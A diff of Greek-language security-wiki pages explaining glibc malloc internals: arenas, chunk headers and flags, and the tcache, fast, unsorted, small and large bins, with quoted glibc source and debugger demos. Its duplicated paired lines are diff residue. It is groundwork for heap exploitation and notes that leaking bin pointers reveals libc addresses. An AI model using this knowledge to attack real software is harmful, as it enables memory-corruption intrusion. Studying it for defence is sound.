Τα subheaps χρησιμεύουν ως αποθέματα μνήμης για δευτερεύουσες arenas σε πολυνηματικές εφαρμογές, επιτρέποντάς τους να αναπτύσσονται και να διαχειρίζονται τις δικές τους περιοχές σωρού ξεχωριστά από τον κύριο σωρό. Να πώς διαφέρουν τα subheaps από τον αρχικό σωρό και πώς λειτουργούν:
Τα subheaps λειτουργούν ως αποθέματα μνήμης για δευτερεύουσες arenas σε πολυνηματικές εφαρμογές, επιτρέποντάς τους να αναπτύσσονται και να διαχειρίζονται τις δικές τους περιοχές σωρού ξεχωριστά από τον κύριο σωρό. Να πώς διαφέρουν τα subheaps από τον αρχικό σωρό και πώς λειτουργούν:
1. **Αρχικός Σωρός vs. Subheaps**:
- Ο αρχικός σωρός βρίσκεται ακριβώς μετά το δυαδικό αρχείο του προγράμματος στη μνήμη και επεκτείνεται χρησιμοποιώντας την κλήση συστήματος `sbrk`.
@ -90,11 +90,11 @@ char pad[-3 * SIZE_SZ & MALLOC_ALIGN_MASK];
#define set_contiguous(M) ((M)->flags &= ~NONCONTIGUOUS_BIT)
```
- Ο `mchunkptr bins[NBINS * 2 - 2];` περιέχει **δείκτες** στους **πρώτους και τελευταίους κομμάτια** των μικρών, μεγάλων και αταξινόμητων **δοχείων** (το -2 είναι επειδή ο δείκτης 0 δεν χρησιμοποιείται)
- Ο πίνακας `mchunkptr bins[NBINS * 2 - 2];` περιέχει **δείκτες** στους **πρώτους και τελευταίους κομμάτια** των μικρών, μεγάλων και αταξινόμητων **δοχείων** (το -2 είναι επειδή ο δείκτης 0 δεν χρησιμοποιείται)
- Επομένως, το **πρώτο κομμάτι** αυτών των δοχείων θα έχει έναν **ανάποδο δείκτη σε αυτή τη δομή** και το **τελευταίο κομμάτι** αυτών των δοχείων θα έχει έναν **προForward δείκτη** σε αυτή τη δομή. Αυτό σημαίνει βασικά ότι αν μπορείτε να **διαρρεύσετε αυτές τις διευθύνσεις στην κύρια αρένα** θα έχετε έναν δείκτη στη δομή στη **libc**.
- Οι δομές `struct malloc_state *next;` και `struct malloc_state *next_free;` είναι συνδεδεμένες λίστες αρεών
- Το κομμάτι `top` είναι το τελευταίο "κομμάτι", το οποίο είναι βασικά **όλος ο χώρος που απομένει στη σωρό**. Μόλις το κομμάτι κορυφής είναι "άδειο", η σωρός έχει χρησιμοποιηθεί εντελώς και χρειάζεται να ζητήσει περισσότερο χώρο.
- Το κομμάτι `last reminder` προέρχεται από περιπτώσεις όπου δεν είναι διαθέσιμο ένα κομμάτι ακριβούς μεγέθους και επομένως ένα μεγαλύτερο κομμάτι χωρίζεται, ένα δείκτης του υπολοίπου τοποθετείται εδώ.
- Το κομμάτι `last reminder` προέρχεται από περιπτώσεις όπου δεν είναι διαθέσιμο ένα κομμάτι ακριβούς μεγέθους και επομένως ένα μεγαλύτερο κομμάτι χωρίζεται, ένα δείκτης που απομένει τοποθετείται εδώ.
```c
// From https://github.com/bminor/glibc/blob/a07e000e82cb71238259e674529c37c12dc7d423/malloc/malloc.c#L1812
@ -163,7 +163,7 @@ typedef struct malloc_chunk* mchunkptr;
<figure><img src="../../images/image (1242).png" alt=""><figcaption><p><a href="https://azeria-labs.com/wp-content/uploads/2019/03/chunk-allocated-CS.png">https://azeria-labs.com/wp-content/uploads/2019/03/chunk-allocated-CS.png</a></p></figcaption></figure>
Τα μεταδεδομένα είναι συνήθως 0x08B που υποδεικνύει το μέγεθος του τρέχοντος κομματιού χρησιμοποιώντας τα τελευταία 3 bits για να υποδείξει:
Τα μεταδεδομένα είναι συνήθως 0x08B που υποδεικνύει το τρέχον μέγεθος του κομματιού χρησιμοποιώντας τα τελευταία 3 bits για να υποδείξει:
- `A`: Αν είναι 1 προέρχεται από μια υπο-στοίβα, αν είναι 0 είναι στην κύρια αρένα
- `M`: Αν είναι 1, αυτό το κομμάτι είναι μέρος ενός χώρου που έχει κατανεμηθεί με mmap και δεν είναι μέρος μιας στοίβας
@ -171,7 +171,7 @@ typedef struct malloc_chunk* mchunkptr;
Στη συνέχεια, ο χώρος για τα δεδομένα του χρήστη, και τελικά 0x08B για να υποδείξει το μέγεθος του προηγούμενου κομματιού όταν το κομμάτι είναι διαθέσιμο (ή για να αποθηκεύσει δεδομένα χρήστη όταν είναι κατανεμημένο).
Επιπλέον, όταν είναι διαθέσιμα, τα δεδομένα του χρήστη χρησιμοποιούνται για να περιέχουν επίσης κάποια δεδομένα:
Επιπλέον, όταν είναι διαθέσιμα, τα δεδομένα του χρήστη χρησιμοποιούνται επίσης για να περιέχουν κάποια δεδομένα:
- **`fd`**: Δείκτης στο επόμενο κομμάτι
- **`bk`**: Δείκτης στο προηγούμενο κομμάτι
@ -185,7 +185,7 @@ typedef struct malloc_chunk* mchunkptr;
### Δείκτες Κομματιών
Όταν χρησιμοποιείται το malloc, επιστρέφεται ένας δείκτης στο περιεχόμενο που μπορεί να γραφτεί (αμέσως μετά τους επικεφαλίδες), ωστόσο, όταν διαχειρίζεστε κομμάτια, χρειάζεται ένας δείκτης στην αρχή των επικεφαλίδων (μεταδεδομένα).\
Όταν χρησιμοποιείται malloc, επιστρέφεται ένας δείκτης στο περιεχόμενο που μπορεί να γραφτεί (αμέσως μετά τους επικεφαλίδες), ωστόσο, όταν διαχειρίζεστε κομμάτια, χρειάζεται ένας δείκτης στην αρχή των επικεφαλίδων (μεταδεδομένα).\
Για αυτές τις μετατροπές χρησιμοποιούνται αυτές οι συναρτήσεις:
```c
// https://github.com/bminor/glibc/blob/master/malloc/malloc.c
@ -354,7 +354,7 @@ people extending or adapting this malloc.
#define clear_inuse_bit_at_offset(p, s) \
(((mchunkptr) (((char *) (p)) + (s)))->mchunk_size &= ~(PREV_INUSE))
```
- Ορίστε κεφαλίδα και υποσέλιδο (όταν χρησιμοποιούνται αριθμοί τμημάτων)
- Ρυθμίστε την κεφαλίδα και την υποσέλιδο (όταν χρησιμοποιούνται αριθμοί τμημάτων)
```c
/* Set size at head, without disturbing its use bit */
#define set_head_size(p, s) ((p)->mchunk_size = (((p)->mchunk_size & SIZE_BITS) | (s)))
@ -411,19 +411,19 @@ ptr = malloc(0x10);
strcpy(ptr, "panda");
}
```
Ορίστε ένα breakpoint στο τέλος της κύριας συνάρτησης και ας ανακαλύψουμε πού αποθηκεύτηκε η πληροφορία:
Ορίστε ένα σημείο διακοπής στο τέλος της κύριας συνάρτησης και ας ανακαλύψουμε πού αποθηκεύτηκε η πληροφορία:
<figure><img src="../../images/image (1239).png" alt=""><figcaption></figcaption></figure>
Είναι δυνατόν να δούμε ότι η συμβολοσειρά panda αποθηκεύτηκε στη διεύθυνση `0xaaaaaaac12a0` (η οποία ήταν η διεύθυνση που δόθηκε ως απάντηση από το malloc μέσα στο `x0`). Ελέγχοντας 0x10 bytes πριν, είναι δυνατόν να δούμε ότι το `0x0` αντιπροσωπεύει ότι το **προηγούμενο κομμάτι δεν χρησιμοποιείται** (μήκος 0) και ότι το μήκος αυτού του κομματιού είναι `0x21`.
Οι επιπλέον χώροι που έχουν κρατηθεί (0x21-0x10=0x11) προέρχονται από τις **προστιθέμενες κεφαλίδες** (0x10) και το 0x1 δεν σημαίνει ότι κρατήθηκε 0x21B αλλά τα τελευταία 3 bits του μήκους της τρέχουσας κεφαλίδας έχουν κάποιες ειδικές σημασίες. Καθώς το μήκος είναι πάντα ευθυγραμμισμένο σε 16 bytes (σε μηχανές 64 bits), αυτά τα bits στην πραγματικότητα δεν πρόκειται ποτέ να χρησιμοποιηθούν από τον αριθμό μήκους.
Οι επιπλέον χώροι που έχουν κρατηθεί (0x21-0x10=0x11) προέρχονται από τους **προστιθέμενους επικεφαλίδες** (0x10) και το 0x1 δεν σημαίνει ότι κρατήθηκε 0x21B αλλά τα τελευταία 3 bits του μήκους της τρέχουσας επικεφαλίδας έχουν κάποιες ειδικές σημασίες. Καθώς το μήκος είναι πάντα ευθυγραμμισμένο σε 16 bytes (σε μηχανές 64 bits), αυτά τα bits στην πραγματικότητα δεν θα χρησιμοποιηθούν ποτέ από τον αριθμό μήκους.
```
0x1: Previous in Use - Specifies that the chunk before it in memory is in use
0x2: Is MMAPPED - Specifies that the chunk was obtained with mmap()
0x4: Non Main Arena - Specifies that the chunk was obtained from outside of the main arena
```
### Πολυνηματική Εφαρμογή
### Multithreading Example
<details>
@ -485,7 +485,7 @@ return 0;
## Bins & Memory Allocations/Frees
Ελέγξτε ποια είναι τα bins και πώς είναι οργανωμένα και πώς η μνήμη κατανέμεται και απελευθερώνεται στο:
Ελέγξτε ποια είναι τα bins και πώς είναι οργανωμένα και πώς η μνήμη κατανέμεται και απελευθερώνεται σε:
{{#ref}}
bins-and-memory-allocations.md
@ -493,7 +493,7 @@ bins-and-memory-allocations.md
## Heap Functions Security Checks
Οι συναρτήσεις που εμπλέκονται στο heap θα εκτελούν ορισμένους ελέγχους πριν εκτελέσουν τις ενέργειές τους για να προσπαθήσουν να διασφαλίσουν ότι το heap δεν έχει διαφθαρεί:
Οι συναρτήσεις που εμπλέκονται στο heap θα εκτελούν ορισμένους ελέγχους πριν από την εκτέλεση των ενεργειών τους για να προσπαθήσουν να διασφαλίσουν ότι το heap δεν έχει διαφθαρεί:
{{#ref}}
heap-memory-functions/heap-functions-security-checks.md
@ -504,5 +504,4 @@ heap-memory-functions/heap-functions-security-checks.md
- [https://azeria-labs.com/heap-exploitation-part-1-understanding-the-glibc-heap-implementation/](https://azeria-labs.com/heap-exploitation-part-1-understanding-the-glibc-heap-implementation/)
- [https://azeria-labs.com/heap-exploitation-part-2-glibc-heap-free-bins/](https://azeria-labs.com/heap-exploitation-part-2-glibc-heap-free-bins/)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -4,7 +4,7 @@
## Basic Information
Για να βελτιωθεί η αποδοτικότητα της αποθήκευσης των chunks, κάθε chunk δεν είναι απλώς σε μία συνδεδεμένη λίστα, αλλά υπάρχουν διάφοροι τύποι. Αυτοί είναι οι bins και υπάρχουν 5 τύποι bins: [62](https://sourceware.org/git/gitweb.cgi?p=glibc.git;a=blob;f=malloc/malloc.c;h=6e766d11bc85b6480fa5c9f2a76559f8acf9deb5;hb=HEAD#l1407) μικροί bins, 63 μεγάλοι bins, 1 αταξινόμητος bin, 10 γρήγοροι bins και 64 tcache bins ανά νήμα.
Για να βελτιωθεί η αποδοτικότητα του τρόπου αποθήκευσης των chunks, κάθε chunk δεν είναι απλώς σε μία συνδεδεμένη λίστα, αλλά υπάρχουν διάφοροι τύποι. Αυτοί είναι οι bins και υπάρχουν 5 τύποι bins: [62](https://sourceware.org/git/gitweb.cgi?p=glibc.git;a=blob;f=malloc/malloc.c;h=6e766d11bc85b6480fa5c9f2a76559f8acf9deb5;hb=HEAD#l1407) μικροί bins, 63 μεγάλοι bins, 1 αταξινόμητος bin, 10 γρήγοροι bins και 64 tcache bins ανά νήμα.
Η αρχική διεύθυνση για κάθε αταξινόμητο, μικρό και μεγάλο bin είναι μέσα στην ίδια σειρά. Ο δείκτης 0 είναι ανενεργός, 1 είναι ο αταξινόμητος bin, οι bins 2-64 είναι μικροί bins και οι bins 65-127 είναι μεγάλοι bins.
@ -16,7 +16,7 @@
**Όταν ένα νήμα απελευθερώνει** ένα chunk, **αν δεν είναι πολύ μεγάλο** για να κατανεμηθεί στο tcache και ο αντίστοιχος tcache bin **δεν είναι γεμάτος** (ήδη 7 chunks), **θα κατανεμηθεί εκεί**. Αν δεν μπορεί να πάει στο tcache, θα χρειαστεί να περιμένει για το κλείδωμα του heap για να μπορέσει να εκτελέσει την παγκόσμια λειτουργία απελευθέρωσης.
Όταν ένα **chunk κατανεμηθεί**, αν υπάρχει ένα ελεύθερο chunk του απαιτούμενου μεγέθους στο **Tcache θα το χρησιμοποιήσει**, αν όχι, θα χρειαστεί να περιμένει για το κλείδωμα του heap για να μπορέσει να βρει ένα στους παγκόσμιους bins ή να δημιουργήσει ένα νέο.\
Όταν ένα **chunk κατανεμηθεί**, αν υπάρχει ένα ελεύθερο chunk του απαιτούμενου μεγέθους στο **Tcache θα το χρησιμοποιήσει**, αν όχι, θα χρειαστεί να περιμένει για το κλείδωμα του heap για να μπορέσει να βρει ένα στις παγκόσμιες bins ή να δημιουργήσει ένα νέο.\
Υπάρχει επίσης μια βελτιστοποίηση, σε αυτή την περίπτωση, ενώ έχει το κλείδωμα του heap, το νήμα **θα γεμίσει το Tcache του με chunks heap (7) του ζητούμενου μεγέθους**, έτσι σε περίπτωση που χρειαστεί περισσότερα, θα τα βρει στο Tcache.
<details>
@ -36,7 +36,7 @@ free(chunk);
return 0;
}
```
Συγκεντρώστε το και αποσφαλματώστε το με ένα σημείο διακοπής στον κωδικό op της συνάρτησης main. Στη συνέχεια, με το gef μπορείτε να δείτε το tcache bin σε χρήση:
Συγκεντρώστε το και αποσφαλματώστε το με ένα breakpoint στον κωδικό op της συνάρτησης main. Στη συνέχεια, με το gef μπορείτε να δείτε το tcache bin σε χρήση:
```bash
gef➤ heap bins
──────────────────────────────────────────────────────────────────────────────── Tcachebins for thread 1 ────────────────────────────────────────────────────────────────────────────────
@ -46,7 +46,7 @@ Tcachebins[idx=0, size=0x20, count=1] ← Chunk(addr=0xaaaaaaac12a0, size=0x20,
#### Δομές & Συναρτήσεις Tcache
Στον παρακάτω κώδικα είναι δυνατόν να δούμε τα **max bins** και **chunks per index**, τη δομή **`tcache_entry`** που δημιουργήθηκε για να αποφεύγονται οι διπλές απελευθερώσεις και τη **`tcache_perthread_struct`**, μια δομή που χρησιμοποιεί κάθε νήμα για να αποθηκεύει τις διευθύνσεις σε κάθε δείκτη του bin.
Στον παρακάτω κώδικα είναι δυνατόν να δει κανείς τα **max bins** και **chunks per index**, τη δομή **`tcache_entry`** που δημιουργήθηκε για να αποφεύγονται οι διπλές απελευθερώσεις και τη **`tcache_perthread_struct`**, μια δομή που χρησιμοποιεί κάθε νήμα για να αποθηκεύει τις διευθύνσεις σε κάθε δείκτη του bin.
<details>
@ -149,23 +149,23 @@ memset (tcache, 0, sizeof (tcache_perthread_struct));
#### Δείκτες Tcache
Το tcache έχει αρκετούς κάδους ανάλογα με το μέγεθος και τους αρχικούς δείκτες στο **πρώτο κομμάτι κάθε δείκτη και την ποσότητα κομματιών ανά δείκτη που βρίσκονται μέσα σε ένα κομμάτι**. Αυτό σημαίνει ότι εντοπίζοντας το κομμάτι με αυτές τις πληροφορίες (συνήθως το πρώτο), είναι δυνατόν να βρεθούν όλα τα αρχικά σημεία tcache και η ποσότητα των κομματιών Tcache.
Το tcache έχει αρκετά bins ανάλογα με το μέγεθος και τους αρχικούς δείκτες στο **πρώτο κομμάτι κάθε δείκτη και την ποσότητα κομματιών ανά δείκτη που βρίσκονται μέσα σε ένα κομμάτι**. Αυτό σημαίνει ότι εντοπίζοντας το κομμάτι με αυτές τις πληροφορίες (συνήθως το πρώτο), είναι δυνατόν να βρεθούν όλοι οι αρχικοί δείκτες tcache και η ποσότητα των κομματιών Tcache.
### Γρήγοροι κάδοι
### Γρήγορα bins
Οι γρήγοροι κάδοι έχουν σχεδιαστεί για να **ταχύτητα την κατανομή μνήμης για μικρά κομμάτια** διατηρώντας πρόσφατα απελευθερωμένα κομμάτια σε μια δομή γρήγορης πρόσβασης. Αυτοί οι κάδοι χρησιμοποιούν μια προσέγγιση Last-In, First-Out (LIFO), που σημαίνει ότι το **πιο πρόσφατα απελευθερωμένο κομμάτι είναι το πρώτο** που θα ξαναχρησιμοποιηθεί όταν υπάρχει ένα νέο αίτημα κατανομής. Αυτή η συμπεριφορά είναι ευνοϊκή για την ταχύτητα, καθώς είναι πιο γρήγορο να εισάγεις και να αφαιρείς από την κορυφή μιας στοίβας (LIFO) σε σύγκριση με μια ουρά (FIFO).
Τα γρήγορα bins έχουν σχεδιαστεί για να **ταχύτητα την κατανομή μνήμης για μικρά κομμάτια** διατηρώντας πρόσφατα απελευθερωμένα κομμάτια σε μια δομή γρήγορης πρόσβασης. Αυτά τα bins χρησιμοποιούν μια προσέγγιση Last-In, First-Out (LIFO), που σημαίνει ότι το **πιο πρόσφατα απελευθερωμένο κομμάτι είναι το πρώτο** που θα ξαναχρησιμοποιηθεί όταν υπάρχει ένα νέο αίτημα κατανομής. Αυτή η συμπεριφορά είναι πλεονεκτική για την ταχύτητα, καθώς είναι πιο γρήγορο να εισάγεις και να αφαιρείς από την κορυφή μιας στοίβας (LIFO) σε σύγκριση με μια ουρά (FIFO).
Επιπλέον, **οι γρήγοροι κάδοι χρησιμοποιούν απλές συνδεδεμένες λίστες**, όχι διπλά συνδεδεμένες, γεγονός που βελτιώνει περαιτέρω την ταχύτητα. Δεδομένου ότι τα κομμάτια στους γρήγορους κάδους δεν συγχωνεύονται με γείτονες, δεν υπάρχει ανάγκη για μια περίπλοκη δομή που να επιτρέπει την αφαίρεση από τη μέση. Μια απλή συνδεδεμένη λίστα είναι πιο απλή και γρήγορη για αυτές τις λειτουργίες.
Επιπλέον, **τα γρήγορα bins χρησιμοποιούν απλές συνδεδεμένες λίστες**, όχι διπλές συνδεδεμένες, γεγονός που βελτιώνει περαιτέρω την ταχύτητα. Δεδομένου ότι τα κομμάτια στα γρήγορα bins δεν συγχωνεύονται με γείτονες, δεν υπάρχει ανάγκη για μια περίπλοκη δομή που να επιτρέπει την αφαίρεση από τη μέση. Μια απλή συνδεδεμένη λίστα είναι πιο απλή και γρήγορη για αυτές τις λειτουργίες.
Βασικά, αυτό που συμβαίνει εδώ είναι ότι η κεφαλίδα (ο δείκτης στο πρώτο κομμάτι που θα ελεγχθεί) δείχνει πάντα στο πιο πρόσφατα απελευθερωμένο κομμάτι αυτού του μεγέθους. Έτσι:
Βασικά, αυτό που συμβαίνει εδώ είναι ότι η κεφαλίδα (ο δείκτης στο πρώτο κομμάτι που πρέπει να ελεγχθεί) δείχνει πάντα στο πιο πρόσφατα απελευθερωμένο κομμάτι αυτού του μεγέθους. Έτσι:
- Όταν ένα νέο κομμάτι κατανεμηθεί αυτού του μεγέθους, η κεφαλίδα δείχνει σε ένα ελεύθερο κομμάτι προς χρήση. Καθώς αυτό το ελεύθερο κομμάτι δείχνει στο επόμενο προς χρήση, αυτή η διεύθυνση αποθηκεύεται στην κεφαλίδα ώστε η επόμενη κατανομή να γνωρίζει πού να βρει ένα διαθέσιμο κομμάτι
- Όταν ένα κομμάτι απελευθερωθεί, το ελεύθερο κομμάτι θα αποθηκεύσει τη διεύθυνση του τρέχοντος διαθέσιμου κομματιού και η διεύθυνση αυτού του νέου απελευθερωμένου κομματιού θα τοποθετηθεί στην κεφαλίδα
- Όταν ένα νέο κομμάτι αυτού του μεγέθους κατανεμηθεί, η κεφαλίδα δείχνει σε ένα ελεύθερο κομμάτι προς χρήση. Καθώς αυτό το ελεύθερο κομμάτι δείχνει στο επόμενο προς χρήση, αυτή η διεύθυνση αποθηκεύεται στην κεφαλίδα ώστε η επόμενη κατανομή να γνωρίζει πού να βρει ένα διαθέσιμο κομμάτι
- Όταν ένα κομμάτι απελευθερωθεί, το ελεύθερο κομμάτι θα αποθηκεύσει τη διεύθυνση του τρέχοντος διαθέσιμου κομματιού και η διεύθυνση αυτού του νεοαπελευθερωμένου κομματιού θα τοποθετηθεί στην κεφαλίδα
Το μέγιστο μέγεθος μιας συνδεδεμένης λίστας είναι `0x80` και οργανώνονται έτσι ώστε ένα κομμάτι μεγέθους `0x20` να βρίσκεται στον δείκτη `0`, ένα κομμάτι μεγέθους `0x30` να βρίσκεται στον δείκτη `1`...
> [!CAUTION]
> Τα κομμάτια στους γρήγορους κάδους δεν ορίζονται ως διαθέσιμα, οπότε διατηρούνται ως κομμάτια γρήγορου κάδου για κάποιο χρονικό διάστημα αντί να μπορούν να συγχωνευτούν με άλλα ελεύθερα κομμάτια που τα περιβάλλουν.
> Τα κομμάτια στα γρήγορα bins δεν ορίζονται ως διαθέσιμα, οπότε διατηρούνται ως κομμάτια γρήγορης κατανομής για κάποιο χρονικό διάστημα αντί να μπορούν να συγχωνευτούν με άλλα ελεύθερα κομμάτια που τα περιβάλλουν.
```c
// From https://github.com/bminor/glibc/blob/a07e000e82cb71238259e674529c37c12dc7d423/malloc/malloc.c#L1711
@ -231,7 +231,7 @@ return 0;
```
Σημειώστε πώς κατανέμουμε και απελευθερώνουμε 8 κομμάτια του ίδιου μεγέθους ώστε να γεμίσουν το tcache και το όγδοο αποθηκεύεται στο γρήγορο κομμάτι.
Συγκεντρώστε το και αποσφαλματώστε το με ένα breakpoint στον `ret` opcode από τη συνάρτηση `main`. Στη συνέχεια, με το `gef` μπορείτε να δείτε ότι το tcache bin είναι γεμάτο και ένα κομμάτι είναι στο γρήγορο bin:
Συγκεντρώστε το και αποσφαλματώστε το με ένα σημείο διακοπής στον `ret` opcode από τη συνάρτηση `main`. Στη συνέχεια, με το `gef` μπορείτε να δείτε ότι το tcache bin είναι γεμάτο και ένα κομμάτι είναι στο γρήγορο bin:
```bash
gef➤ heap bins
──────────────────────────────────────────────────────────────────────────────── Tcachebins for thread 1 ────────────────────────────────────────────────────────────────────────────────
@ -242,18 +242,18 @@ Fastbins[idx=1, size=0x30] 0x00
```
</details>
### Αταξινόμητος κάδος
### Αταξινόμητη δεξαμενή
Ο αταξινόμητος κάδος είναι μια **κρυφή μνήμη** που χρησιμοποιείται από τον διαχειριστή σωρού για να επιταχύνει την κατανομή μνήμης. Να πώς λειτουργεί: Όταν ένα πρόγραμμα απελευθερώνει ένα κομμάτι, και αν αυτό το κομμάτι δεν μπορεί να κατανεμηθεί σε tcache ή γρήγορο κάδο και δεν συγκρούεται με το κορυφαίο κομμάτι, ο διαχειριστής σωρού δεν το τοποθετεί αμέσως σε έναν συγκεκριμένο μικρό ή μεγάλο κάδο. Αντίθετα, πρώτα προσπαθεί να **συγχωνεύσει το με οποιαδήποτε γειτονικά ελεύθερα κομμάτια** για να δημιουργήσει ένα μεγαλύτερο μπλοκ ελεύθερης μνήμης. Στη συνέχεια, το τοποθετεί σε έναν γενικό κάδο που ονομάζεται "αταξινόμητος κάδος."
Η αταξινόμητη δεξαμενή είναι μια **κρυφή μνήμη** που χρησιμοποιείται από τον διαχειριστή σωρού για να επιταχύνει την κατανομή μνήμης. Να πώς λειτουργεί: Όταν ένα πρόγραμμα απελευθερώνει ένα κομμάτι, και αν αυτό το κομμάτι δεν μπορεί να κατανεμηθεί σε μια tcache ή γρήγορη δεξαμενή και δεν συγκρούεται με το κορυφαίο κομμάτι, ο διαχειριστής σωρού δεν το τοποθετεί αμέσως σε μια συγκεκριμένη μικρή ή μεγάλη δεξαμενή. Αντίθετα, πρώτα προσπαθεί να **συγχωνεύσει το με οποιαδήποτε γειτονικά ελεύθερα κομμάτια** για να δημιουργήσει ένα μεγαλύτερο μπλοκ ελεύθερης μνήμης. Στη συνέχεια, τοποθετεί αυτό το νέο κομμάτι σε μια γενική δεξαμενή που ονομάζεται "αταξινόμητη δεξαμενή."
Όταν ένα πρόγραμμα **ζητά μνήμη**, ο διαχειριστής σωρού **ελέγχει τον αταξινόμητο κάδο** για να δει αν υπάρχει ένα κομμάτι επαρκούς μεγέθους. Αν βρει ένα, το χρησιμοποιεί αμέσως. Αν δεν βρει ένα κατάλληλο κομμάτι στον αταξινόμητο κάδο, μεταφέρει όλα τα κομμάτια σε αυτή τη λίστα στους αντίστοιχους κάδους τους, είτε μικρούς είτε μεγάλους, με βάση το μέγεθός τους.
Όταν ένα πρόγραμμα **ζητά μνήμη**, ο διαχειριστής σωρού **ελέγχει την αταξινόμητη δεξαμενή** για να δει αν υπάρχει ένα κομμάτι επαρκούς μεγέθους. Αν βρει ένα, το χρησιμοποιεί αμέσως. Αν δεν βρει ένα κατάλληλο κομμάτι στην αταξινόμητη δεξαμενή, μεταφέρει όλα τα κομμάτια σε αυτή τη λίστα στις αντίστοιχες δεξαμενές τους, είτε μικρές είτε μεγάλες, με βάση το μέγεθός τους.
Σημειώστε ότι αν ένα μεγαλύτερο κομμάτι χωριστεί σε 2 μισά και το υπόλοιπο είναι μεγαλύτερο από το MINSIZE, θα τοποθετηθεί ξανά στον αταξινόμητο κάδο.
Σημειώστε ότι αν ένα μεγαλύτερο κομμάτι χωριστεί σε 2 μισά και το υπόλοιπο είναι μεγαλύτερο από το MINSIZE, θα τοποθετηθεί ξανά στην αταξινόμητη δεξαμενή.
Έτσι, ο αταξινόμητος κάδος είναι ένας τρόπος για να επιταχυνθεί η κατανομή μνήμης επαναχρησιμοποιώντας γρήγορα πρόσφατα απελευθερωμένη μνήμη και μειώνοντας την ανάγκη για χρονοβόρες αναζητήσεις και συγχωνεύσεις.
Έτσι, η αταξινόμητη δεξαμενή είναι ένας τρόπος για να επιταχυνθεί η κατανομή μνήμης επαναχρησιμοποιώντας γρήγορα πρόσφατα απελευθερωμένη μνήμη και μειώνοντας την ανάγκη για χρονοβόρες αναζητήσεις και συγχωνεύσεις.
> [!CAUTION]
> Σημειώστε ότι ακόμη και αν τα κομμάτια είναι διαφορετικών κατηγοριών, αν ένα διαθέσιμο κομμάτι συγκρούεται με ένα άλλο διαθέσιμο κομμάτι (ακόμη και αν ανήκουν αρχικά σε διαφορετικούς κάδους), θα συγχωνευτούν.
> Σημειώστε ότι ακόμη και αν τα κομμάτια είναι διαφορετικών κατηγοριών, αν ένα διαθέσιμο κομμάτι συγκρούεται με ένα άλλο διαθέσιμο κομμάτι (ακόμα και αν ανήκουν αρχικά σε διαφορετικές δεξαμενές), θα συγχωνευτούν.
<details>
@ -311,12 +311,12 @@ Fastbins[idx=6, size=0x80] 0x00
Οι μικρές θήκες είναι ταχύτερες από τις μεγάλες θήκες αλλά πιο αργές από τις γρήγορες θήκες.
Κάθε θήκη από τις 62 θα έχει **κομμάτια του ίδιου μεγέθους**: 16, 24, ... (με μέγιστο μέγεθος 504 bytes σε 32 bits και 1024 σε 64 bits). Αυτό βοηθά στην ταχύτητα εύρεσης της θήκης όπου θα πρέπει να γίνει η κατανομή χώρου και στην εισαγωγή και αφαίρεση καταχωρήσεων σε αυτές τις λίστες.
Κάθε θήκη από τις 62 θα έχει **κομμάτια του ίδιου μεγέθους**: 16, 24, ... (με μέγιστο μέγεθος 504 bytes σε 32bits και 1024 σε 64bits). Αυτό βοηθά στην ταχύτητα εύρεσης της θήκης όπου θα πρέπει να γίνει η κατανομή χώρου και στην εισαγωγή και αφαίρεση καταχωρήσεων σε αυτές τις λίστες.
Αυτός είναι ο τρόπος υπολογισμού του μεγέθους της μικρής θήκης σύμφωνα με τον δείκτη της θήκης:
- Μικρότερο μέγεθος: 2\*4\*δείκτης (π.χ. δείκτης 5 -> 40)
- Μεγαλύτερο μέγεθος: 2\*8\*δείκτης (π.χ. δείκτης 5 -> 80)
- Μικρότερο μέγεθος: 2\*4\*index (π.χ. δείκτης 5 -> 40)
- Μεγαλύτερο μέγεθος: 2\*8\*index (π.χ. δείκτης 5 -> 80)
```c
// From https://github.com/bminor/glibc/blob/a07e000e82cb71238259e674529c37c12dc7d423/malloc/malloc.c#L1711
#define NSMALLBINS 64
@ -338,7 +338,7 @@ Fastbins[idx=6, size=0x80] 0x00
```
<details>
<summary>Προσθέστε ένα μικρό παράδειγμα κομματιού</summary>
<summary>Προσθέστε ένα μικρό παράδειγμα</summary>
```c
#include <stdlib.h>
#include <stdio.h>
@ -370,7 +370,7 @@ return 0;
```
Σημειώστε πώς κατανέμουμε και απελευθερώνουμε 9 κομμάτια του ίδιου μεγέθους ώστε να **γεμίσουν το tcache** και το όγδοο αποθηκεύεται στο unsorted bin επειδή είναι **πολύ μεγάλο για το fastbin** και το ένατο δεν έχει απελευθερωθεί, οπότε το ένατο και το όγδοο **δεν συγχωνεύονται με το κορυφαίο κομμάτι**. Στη συνέχεια, κατανέμουμε ένα μεγαλύτερο κομμάτι 0x110 που κάνει **το κομμάτι στο unsorted bin να πηγαίνει στο small bin**.
Συγκεντρώστε το και αποσφαλματώστε το με ένα breakpoint στην εντολή `ret` από τη συνάρτηση `main`. Στη συνέχεια, με το `gef` μπορείτε να δείτε ότι το tcache bin είναι γεμάτο και ένα κομμάτι είναι στο small bin:
Συγκεντρώστε το και αποσφαλματώστε το με ένα breakpoint στον `ret` opcode από τη συνάρτηση `main`. Στη συνέχεια, με το `gef` μπορείτε να δείτε ότι το tcache bin είναι γεμάτο και ένα κομμάτι είναι στο small bin:
```bash
gef➤ heap bins
──────────────────────────────────────────────────────────────────────────────── Tcachebins for thread 1 ────────────────────────────────────────────────────────────────────────────────
@ -396,7 +396,7 @@ Fastbins[idx=6, size=0x80] 0x00
Σε αντίθεση με τις μικρές δεξαμενές, οι οποίες διαχειρίζονται κομμάτια σταθερού μεγέθους, κάθε **μεγάλη δεξαμενή διαχειρίζεται μια σειρά από μεγέθη κομματιών**. Αυτό είναι πιο ευέλικτο, επιτρέποντας στο σύστημα να φιλοξενεί **διάφορα μεγέθη** χωρίς να χρειάζεται μια ξεχωριστή δεξαμενή για κάθε μέγεθος.
Σε έναν αλγόριθμο κατανομής μνήμης, οι μεγάλες δεξαμενές ξεκινούν όπου τελειώνουν οι μικρές δεξαμενές. Οι περιοχές για τις μεγάλες δεξαμενές μεγαλώνουν σταδιακά, πράγμα που σημαίνει ότι η πρώτη δεξαμενή μπορεί να καλύπτει κομμάτια από 512 έως 576 byte, ενώ η επόμενη καλύπτει από 576 έως 640 byte. Αυτό το μοτίβο συνεχίζεται, με τη μεγαλύτερη δεξαμενή να περιέχει όλα τα κομμάτια πάνω από 1MB.
